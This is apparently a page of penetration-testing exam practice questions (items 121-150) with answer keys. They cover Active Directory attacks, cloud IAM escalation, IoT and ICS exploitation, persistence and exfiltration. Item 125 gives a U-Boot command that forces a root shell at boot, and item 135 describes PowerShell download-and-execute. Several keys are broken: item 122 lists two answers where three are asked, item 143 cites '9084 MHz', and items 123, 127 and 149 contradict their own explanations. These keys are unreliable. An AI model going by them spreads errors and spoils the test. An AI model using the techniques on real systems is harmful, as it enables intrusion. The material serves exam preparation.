Nmap ICS scripts query specific OT ports to safely extract model numbers, firmware versions, and rack/slot data.

Why this answer

Fingerprinting ICS equipment involves using Nmap NSE scripts tailored for industrial protocols or specialized asset discovery tools like Shodan/Industrial Defender tools.

121
MCQeasy

A penetration tester identifies a user account with the 'Do not require Kerberos pre-authentication' (DONT_REQUIRE_PREAUTH) property enabled. Which attack can be performed against this account?

A.AS-REP Roasting
B.Silver Ticket Attack
C.DCShadow
D.Kerberoasting
AnswerA

AS-REP Roasting exploits accounts lacking pre-auth requirements to capture encryptable ticket material.

Why this answer

AS-REP Roasting targets accounts where pre-authentication is disabled, allowing an attacker to request an AS-REP response containing ticket material encrypted with the user's password hash and crack it offline.

122
Multi-Selecthard

A penetration tester is analyzing an enterprise cloud infrastructure utilizing both AWS and Azure. Which THREE of the following attack vectors or misconfigurations are relevant to hybrid and cloud security assessments? (Choose THREE)

Select 3 answers
A.Abusing misconfigured OpenID Connect (OIDC) federation trust settings between GitHub Actions and AWS IAM roles to assume roles without proper repository conditions.
B.Enabling AWS CloudTrail and guarding log files with immutable S3 Object Lock policies.
C.Exploiting a Server-Side Request Forgery (SSRF) vulnerability in an application to query the AWS or Azure Instance Metadata Service (IMDS) for temporary credentials.
D.Configuring VPC peering with bi-directional network ACL restrictions.
E.Enforcing strict Azure AD Conditional Access policies based on device compliance and location.
.Leveraging an unauthenticated API Gateway endpoint or Azure Logic App HTTP trigger to execute unauthorized backend logic or data dumping.
AnswersA, C

Improper OIDC trust conditions allow external CI/CD runners to assume AWS roles.

Why this answer

SSRF targeting IMDS, unauthenticated API gateway endpoints, and misconfigured OIDC/service principal trust paths are core hybrid/cloud attack vectors.

123
Multi-Selectmedium

A penetration tester is auditing an AWS environment and investigating potential privilege escalation paths via IAM. Which TWO of the following IAM permission combinations represent classic privilege escalation vectors in AWS? (Choose two)

Select 2 answers
A.iam:CreatePolicyVersion combined with iam:SetDefaultPolicyVersion
B.lambda:InvokeFunction and lambda:CreateFunctionUrl
C.s3:PutBucketPolicy and s3:GetObject
D.iam:CreateAccessKey and iam:PutUserPolicy
E.iam:PassRole combined with ec2:RunInstances
AnswersA, E

Correct. Creating a new policy version with administrative permissions and setting it as default allows a user to escalate privileges.

Why this answer

Certain IAM permissions allow a user to escalate their privileges. Examples include iam:CreateAccessKey, iam:PutUserPolicy, iam:UpdateAssumeRolePolicy, and iam:CreatePolicyVersion. Let's evaluate the choices.

124
MCQeasy

An ethical hacker has obtained the NTLM password hash of a local administrator account on a Windows workstation and wants to perform lateral movement using Pass-the-Hash (PtH). Which tool allows executing a command or spawning an interactive prompt on a remote system using only the NTLM hash without knowing the plaintext password?

A.Windows Remote Desktop Connection (mstsc.exe)
B.Standard Windows net use command
C.WinRM standard client via browser
D.psexec.py from the Impacket toolkit
AnswerD

Impacket's psexec.py allows passing the NTLM hash directly using the -hashes parameter to gain a remote SMB/RPC shell.

Why this answer

Pass-the-Hash relies on injecting or using the NTLM hash directly in place of the user's password during authentication. Impacket's psexec.py (or crackmapexec / netexec) natively supports NTLM hash authentication.

125
MCQmedium

An IoT penetration tester successfully dumps the flash memory of an embedded router. The resulting binary image contains a U-Boot bootloader environment. Which command can the tester look for or attempt to inject via the serial console to override the Linux kernel boot arguments and spawn a root shell?

A.tftp 0x80000000 kernel.bin
B.printenv mtdparts
C.setenv bootargs ${bootargs} init=/bin/sh
D.run flash_os_image
AnswerC

Modifying the 'bootargs' environment variable in U-Boot to include 'init=/bin/sh' bypasses standard authentication and provides a direct root shell upon boot.

Why this answer

U-Boot uses environment variables to define boot parameters. Appending 'init=/bin/sh' or 'init=/bin/bash' to the 'bootargs' variable forces the kernel to launch a shell instead of the standard init process.

126
MCQmedium

A pentester successfully compromises a machine and obtains a valid Kerberos Ticket Granting Ticket (TGT) file (.ccache). To use this ticket for lateral movement on Linux using Impacket, which environment variable must be exported?

A.KRB_TICKET_PATH
B.KERBEROS_CACHE
C.KRB5CCNAME
D.AD_TICKET_FILE
AnswerC

Setting KRB5CCNAME to the path of the .ccache file instructs Impacket to use the injected Kerberos ticket.

Why this answer

Impacket tools rely on the KRB5CCNAME environment variable to locate and parse the Kerberos credential cache file when performing operations with domain credentials via Kerberos.

127
Multi-Selectmedium

During post-exploitation enumeration on a Windows system, a penetration tester discovers that credentials for a domain administrator were accidentally left in a plaintext file. To prepare for lateral movement and domain dominance, which TWO actions can the tester perform using these credentials without executing a full DCSync attack?

Select 2 answers
A.Use PsExec or WinRM with the valid credentials to execute commands interactively on domain-joined member servers
B.Execute a Pass-the-Ticket attack using harvested Kerberos ticket granting tickets (TGT) from the LSASS cache
C.Modify the Windows Boot Configuration Data (BCD) store to disable PatchGuard on all domain controllers
D.Change the password of the local Administrator account on a single workstation via SAM-R or RPC
E.Inject shellcode directly into the Active Directory database file (ntds.dit) while the database is offline
AnswersA, B

Correct because domain administrator credentials provide direct administrative access over network protocols to domain member servers.

Why this answer

With Domain Administrator credentials, an attacker can generate a Golden Ticket using Mimikatz (requiring the krbtgt hash) or perform a Session Hijacking / PsExec execution to access remote systems. Alternatively, creating a scheduled task or using WinRM are also valid options. A Golden Ticket requires the krbtgt hash, which is obtainable via DCSync, but interactive logon and PsExec/WinRM directly utilize the DA credentials.

128
MCQhard

During an Active Directory Certificate Services (AD CS) assessment, a tester discovers that the 'ESC1' vulnerability is present. What specific misconfiguration defines ESC1 on a certificate template?

A.The template grants WriteDACL permissions to authenticated users over the Certificate Authority object.
B.The template publishes certificates to Active Directory user objects automatically.
C.The template has Manager Approval enabled and requires enterprise admin signatures.
D.The template allows enrollees to supply alternate subject names (SAN) and authorizes low-privileged users to enroll with client authentication EKUs.
AnswerD

This combination allows an attacker to request a certificate for any user (e.g., Domain Admin) and authenticate as them.

Why this answer

ESC1 occurs when a certificate template permits enrollment by low-privileged users, allows supply of an alternate subject (ENROLLEE_SUPPLIES_SUBJECT), and includes client authentication EKUs.

129
MCQeasy

When analyzing BloodHound output, what visual edge or relationship indicates that user 'A' can modify the membership or attributes of group 'B'?

A.AllowedToDelegate
B.ReadLAPSPassword
C.AddMember
D.CoerceTo
AnswerC

The AddMember edge indicates a principal has rights to add other users/groups to the target group.

Why this answer

In BloodHound, the 'GenericAll', 'GenericWrite', 'WriteDACL', or 'WriteOwner' edges denote modification rights, while 'MemberOf' indicates group membership. Specifically, 'AddMember' or 'GenericAll'/'GenericWrite' on group objects indicates control over membership.

130
MCQhard

A penetration tester is assessing an MQTT-based industrial monitoring system where brokers communicate over unencrypted TCP ports. The tester wants to discover hidden topics that are not actively publishing data by brute-forcing topic names. Which tool natively supports MQTT fuzzing and topic discovery through automated subscription testing?

A.MQTT-Miner
B.DirBuster
C.Nmap
D.Nikto
AnswerA

MQTT-Miner is an OWASP tool integrated with Burp Suite designed specifically to discover MQTT topics and test broker security.

Why this answer

MQTT-Miner or specialized tools like the MQTTSA (MQTT Security Assessment) framework or Metasploit modules are used. Specifically, MQTT-Miner is designed for testing and discovering topics. Nmap performs port scanning, Nikto targets web servers, and DirBuster targets HTTP directories, not MQTT brokers.

131
Multi-Selecthard

Which THREE techniques are commonly employed by attackers to persist on a Linux system?

Select 3 answers
A.Replacing the default bash shell
B.Modifying the kernel source code
C.Appending a public key to ~/.ssh/authorized_keys
D.Adding an entry to /etc/crontab
E.Creating a custom systemd service
AnswersC, D, E

Provides remote access without a password.

Why this answer

Modifying crontabs, adding SSH keys, and using systemd services are primary Linux persistence methods.

132
MCQeasy

A pentester needs to verify whether a remote server is listening on a specific UDP port, say port 123 (NTP). They send a UDP packet, but the target responds with an ICMP Port Unreachable message. What does this response indicate about the port?

A.The host is offline.
B.The port is filtered by a firewall.
C.The port is open and active.
D.The port is closed.
AnswerD

ICMP Port Unreachable confirms the UDP port is closed.

Why this answer

An ICMP Port Unreachable message (Type 3, Code 3) indicates that the target UDP port is closed.

133
Multi-Selecteasy

A penetration tester has compromised a Linux server and wants to exfiltrate a compressed data archive over the network securely using encrypted protocols. Which THREE standard network tools support encrypted file transfer out of the box? Choose three.

Select 3 answers
A.scp
B.curl (using HTTPS)
C.sftp
D.nc (Netcat)
E.ftp
AnswersA, B, C

scp uses SSH to securely copy files between hosts.

Why this answer

scp, sftp, and curl (using HTTPS) or rsync over ssh provide encrypted file transfers. Standard nc and ftp are unencrypted.

134
Multi-Selectmedium

A security auditor is performing a penetration test on an operational technology (OT) network utilizing Modbus/TCP. Which THREE of the following actions can an attacker typically perform if network segmentation and firewall rules are improperly configured? (Choose THREE)

Select 3 answers
A.Write to coils and holding registers to manipulate actuator states and setpoints
B.Send diagnostic or reset commands (e.g., Function Code 0x08) to cause controller reboots
C.Automatically decrypt Active Directory Kerberos ticket-granting tickets stored on the PLC
D.Read holding registers and input registers to harvest process variables and sensor data
E.Execute cross-site scripting (XSS) attacks against the PLC's internal browser rendering engine
AnswersA, B, D

Modbus write commands can be exploited to alter critical industrial control setpoints and override safety limits.

Why this answer

Modbus/TCP lacks built-in security, meaning any host with network access can read registers, write/alter register values, and send stop/start commands to PLCs.

135
MCQeasy

Which post-exploitation action is considered 'Living off the Land' (LotL)?

A.Using PowerShell to download and execute a script in memory.
B.Installing a rootkit driver.
C.Deploying a custom C++ backdoor.
D.Using a known Metasploit payload.
AnswerA

PowerShell is a legitimate system administration tool utilized for malicious purposes.

Why this answer

LotL involves using pre-installed system tools (like PowerShell or WMI) to conduct malicious activities, minimizing the need for custom malware.

136
Multi-Selecteasy

Which TWO of the following Active Directory enumeration methods or tools can be used by an unprivileged domain user to identify accounts configured with 'Do not require Kerberos preauthentication' (AS-REP roasting candidates)? (Choose TWO)

Select 2 answers
A.Windows Disk Cleanup utility (cleanmgr.exe)
B.Mimikatz (lsadump::dcsync)
C.Rubeus (rubeus.exe asreproast)
D.Local Security Policy snap-in (secpol.msc)
E.PowerView (Get-DomainUser -PreauthNotRequired)
AnswersC, E

Rubeus has a built-in AS-REP roasting module that queries the domain and requests tickets for vulnerable accounts.

Why this answer

AS-REP Roasting targets accounts where Kerberos pre-authentication is disabled. Unprivileged users can query LDAP directly or use automated tools like Rubeus or PowerView to find these accounts.

137
MCQmedium

A penetration tester has gained access to a Linux host and discovers that port forwarding using SSH is restricted, but outbound HTTPS (port 443) traffic is allowed. Which tool creates encrypted TCP tunnels over HTTP or HTTPS and is ideal for egress bypassing?

A.Neo-reGeorg
B.Netcat
C.Traceroute
D.DNS2TCP
AnswerA

Neo-reGeorg tunnels TCP traffic through HTTP/HTTPS web application gateways to bypass firewall restrictions.

Why this answer

Neo-reGeorg or HTTPTunnel are tunneling tools, but reGeorg / Neo-reGeorg tunnels TCP traffic through a web server script (PHP/ASPX) inside HTTP/HTTPS requests. Alternatively, CNTLM or Proxifier manage proxy authentication. For raw TCP tunneling over HTTP, HTTPTunnel or Neo-reGeorg are standard.

138
MCQeasy

A security researcher is analyzing an embedded Linux firmware image for potential backdoors. The researcher wants to quickly scan the binary for compressed file systems, bootloader signatures, and kernel versions without extracting it. Which command-line tool is best suited for this initial identification task?

A.Wireshark
B.Binwalk
C.Metasploit Framework
D.Aircrack-ng
AnswerB

Binwalk analyzes binary images to identify embedded files, headers, file systems (like SquashFS, JFFS2), and compressed archives.

Why this answer

Binwalk is the industry-standard tool for searching binary images for embedded file systems and executable code signatures.

139
MCQeasy

During a wireless penetration test of an industrial plant, an auditor wants to discover all active Wi-Fi access points and associated IoT wireless clients operating in the 2.4 GHz band. Which wireless auditing tool should the auditor use to monitor and dump 802.11 management frames?

A.Hydra
B.Airodump-ng
C.Sqlmap
D.Nbtscan
AnswerB

Airodump-ng listens to raw 802.11 frames, displaying AP BSSIDs, channel numbers, encryption types, and connected client MAC addresses.

Why this answer

Airodump-ng is the premier tool included in the Aircrack-ng suite for capturing 802.11 wireless frames in monitor mode.

140
Multi-Selectmedium

During an internal network penetration test, a tester identifies an active DHCP server on the local network. Which TWO attacks can be launched against the DHCP infrastructure to disrupt service or intercept traffic? (Choose TWO)

Select 2 answers
A.DNS Zone Transfer (AXFR)
B.DHCP Spoofing / Rogue DHCP Server
C.DHCP Starvation / Exhaustion
D.Kerberoasting
E.ARP Cache Poisoning
AnswersB, C

A rogue DHCP server responds faster than the legitimate server, handing out malicious gateway and DNS configurations.

Why this answer

DHCP starvation (exhausting the IP pool) and DHCP spoofing (supplying a rogue gateway/DNS) are primary attacks against DHCP infrastructure.

141
MCQhard

You are attempting to evade a stateful packet inspection (SPI) firewall that drops TCP packets with invalid TCP flag combinations. You decide to use Nmap to perform a stealth scan against a target web server behind this perimeter. Which Nmap scan type explicitly sends a packet with the FIN, PSH, and URG flags set, relying on RFC 793 behavior where closed ports reply with an RST and open ports ignore the packet?

A.Nmap Null Scan (-sN)
B.Nmap Window Scan (-sW)
C.Nmap FIN Scan (-sF)
D.Nmap Xmas Tree Scan (-sX)
AnswerD

The Xmas tree scan explicitly sets the FIN, PSH, and URG flags to probe firewall and port states based on RFC 793 specifications.

Why this answer

An Xmas tree scan (-sX) sets the FIN, PSH, and URG flags, lighting up the packet like a Christmas tree. According to RFC 793, closed ports must respond with a reset, whereas open ports drop the packet silently.

142
Multi-Selecthard

A penetration tester is analyzing network traffic associated with lateral movement and needs to identify potential Kerberoasting activity in Active Directory. Which THREE indicators or artifacts are typically associated with this attack? (Choose THREE)

Select 3 answers
A.Targeting user accounts that have associated Service Principal Names (SPNs)
B.High volume of TGS-REQ (Ticket Granting Service Request) messages
C.Massive outbound DNS zone transfers (AXFR)
D.Frequent LLMNR poisoning broadcasts
E.Requests for TGS tickets with weaker encryption types (e.g., RC4-HMAC)
AnswersA, B, E

Kerberoasting specifically targets user accounts configured with SPNs.

Why this answer

Kerberoasting involves requesting TGS service tickets for user accounts with Service Principal Names (SPNs), high volume of TGS-REQ requests, and RC4 encryption (encryption type 23).

143
Multi-Selecthard

A penetration tester is evaluating a smart home hub communicating via Z-Wave protocol. Which TWO of the following characteristics or security mechanisms distinguish Z-Wave from standard Wi-Fi or Zigbee implementations? (Choose TWO)

Select 2 answers
A.Relying on standard IEEE 802.11 physical layer framing and MAC headers
B.Utilizing the Security 2 (S2) framework featuring Elliptic Curve Diffie-Hellman (ECDH) key exchange
C.Operating on sub-GHz radio frequencies (typically 868 MHz in Europe and 9084 MHz in the US)
D.Requiring all participating nodes to maintain an active BGP routing table with upstream Internet routers
E.Operating natively on the 5 GHz Wi-Fi frequency band with WPA3-Enterprise authentication
AnswersB, C

Modern Z-Wave implementations utilize S2 security, providing robust encryption and secure key agreement via ECDH.

Why this answer

Z-Wave operates on sub-GHz frequencies (avoiding 2.4 GHz congestion) and incorporates S2 (Security 2) framework using ECDH for secure key exchange.

144
MCQhard

An operator has compromised a Linux server and wants to establish persistence that survives kernel reboots and operates stealthily by hooking system calls or modifying kernel memory. Which persistence mechanism matches this description?

A.Compiling and loading a malicious Loadable Kernel Module (LKM) rootkit.
B.Modifying the SSH authorized_keys file for the root user.
C.Creating a systemd service unit file that executes a reverse shell.
D.Placing a persistent cron job in /etc/cron.d/
AnswerA

LKMs execute in ring 0, enabling deep system manipulation, hiding artifacts, and modifying system behavior.

Why this answer

Loadable Kernel Modules (LKMs) allow attackers to run code in kernel space, hide processes, files, and network connections, and persist across reboots if loaded at boot time.

145
MCQhard

A security researcher is performing dynamic analysis of an IoT firmware binary inside an emulated MIPS environment using QEMU-user mode. When executing the binary, the application crashes with a segmentation fault due to missing dynamic library dependencies in the emulated root directory. Which environment variable must be exported to instruct QEMU where to search for the target root filesystem's shared libraries?

A.QEMU_ROOTFS
B.LD_LIBRARY_PATH
C.QEMU_LD_PREFIX
D.PATH
AnswerC

Setting QEMU_LD_PREFIX points the QEMU user-mode emulator to the directory containing the rootfs libraries, resolving missing dependency errors.

Why this answer

When running binaries under QEMU user-mode emulation, the QEMU_LD_PREFIX environment variable specifies the path to the root directory containing the target architecture's libraries.

146
MCQmedium

During a hardware penetration test of an IoT device, the tester identifies a 4-pin header on the PCB. Using a multimeter, the tester measures ground on pin 1, 3.3V on pin 4, and observes fluctuating voltages on pins 2 and 3 during boot. What hardware interface do pins 2 and 3 most likely represent?

A.UART (Universal Asynchronous Receiver-Transmitter)
B.JTAG (Joint Test Action Group)
C.I2C (Inter-Integrated Circuit)
D.SPI (Serial Peripheral Interface)
AnswerA

UART interfaces commonly feature VCC, GND, TX, and RX pins, presenting active data signal fluctuations during device bootup.

Why this answer

UART (Universal Asynchronous Receiver-Transmitter) interfaces typically consist of 4 pins: VCC, GND, TX, and RX, where TX and RX show fluctuating voltage activity during transmission upon boot.

147
MCQmedium

A security analyst is performing a penetration test against a building automation system utilizing BACnet over IP. To discover BACnet devices on the local subnet without prior knowledge of their IP addresses, which specific network packet type and destination should the analyst send?

A.A UDP broadcast packet containing a BACnet Who-Is request sent to port 47808
B.An ICMP ping sweep to identify all live IP addresses on the local network segment
C.An SNMP GETBULK request using the default private community string
D.A TCP SYN scan directed at port 47808 across the entire subnet
AnswerA

BACnet devices respond to a Who-Is broadcast message sent to UDP port 47808 by returning an I-Am message containing their device instance and IP address.

Why this answer

BACnet/IP uses a global broadcast UDP packet sent to port 47808 (0xBAC0) with a Who-Is service request to discover devices. Unicast TCP requests require prior IP knowledge, ICMP echo requests only show active hosts not BACnet services, and SNMP queries require a known community string.

148
Multi-Selecteasy

An internal penetration tester needs to scan a local subnet for live hosts quickly and quietly without sending TCP or UDP port traffic. Which TWO methods rely on network layer protocols other than TCP port scanning for host discovery? (Choose TWO)

Select 2 answers
A.TCP Connect scan (-sT)
B.TCP SYN port scan (-sS)
C.UDP port scan (-sU)
D.ARP ping discovery (-PR)
E.ICMP Echo request ping (-PE)
AnswersD, E

ARP pings query local MAC addresses directly to discover live hosts on the local subnet.

Why this answer

ICMP Echo requests (-PE) and ARP ping scans (-PR) use ICMP and ARP protocols respectively to find live hosts without touching TCP ports.

149
MCQmedium

During a network audit, a tester discovers that a router is running an insecure routing protocol implementation susceptible to routing table poisoning. Which protocol relies on cleartext updates and hop-count metrics up to 16, making it vulnerable to unauthorized route injection?

A.RIP
B.BGP
C.EIGRP
D.OSPF
AnswerA

RIP (Routing Information Protocol) is a distance-vector protocol that historically sent unauthenticated routing table updates.

Why this answer

Routing Information Protocol (RIP) uses hop counts up to 15 (16 being infinity) and traditionally lacks authentication, making it susceptible to injection attacks.

150
MCQeasy

An external penetration tester is tasked with enumerating valid usernames on an enterprise Microsoft Active Directory environment through the SMB protocol without triggering account lockout policies. Which tool is standard for this task?

A.Enum4linux
B.Aircrack-ng
C.John the Ripper
D.Hydra
AnswerA

Enum4linux is a specialized tool for enumerating information from Windows and Samba hosts, including users and shares.

Why this answer

enum4linux or rpcclient can enumerate users. From an Nmap perspective, script-based enumeration using smb-enum-users is common, but specialized tools like enum4linux query RID cycling.

Page 1

Page 2 of 4

Page 3

All pages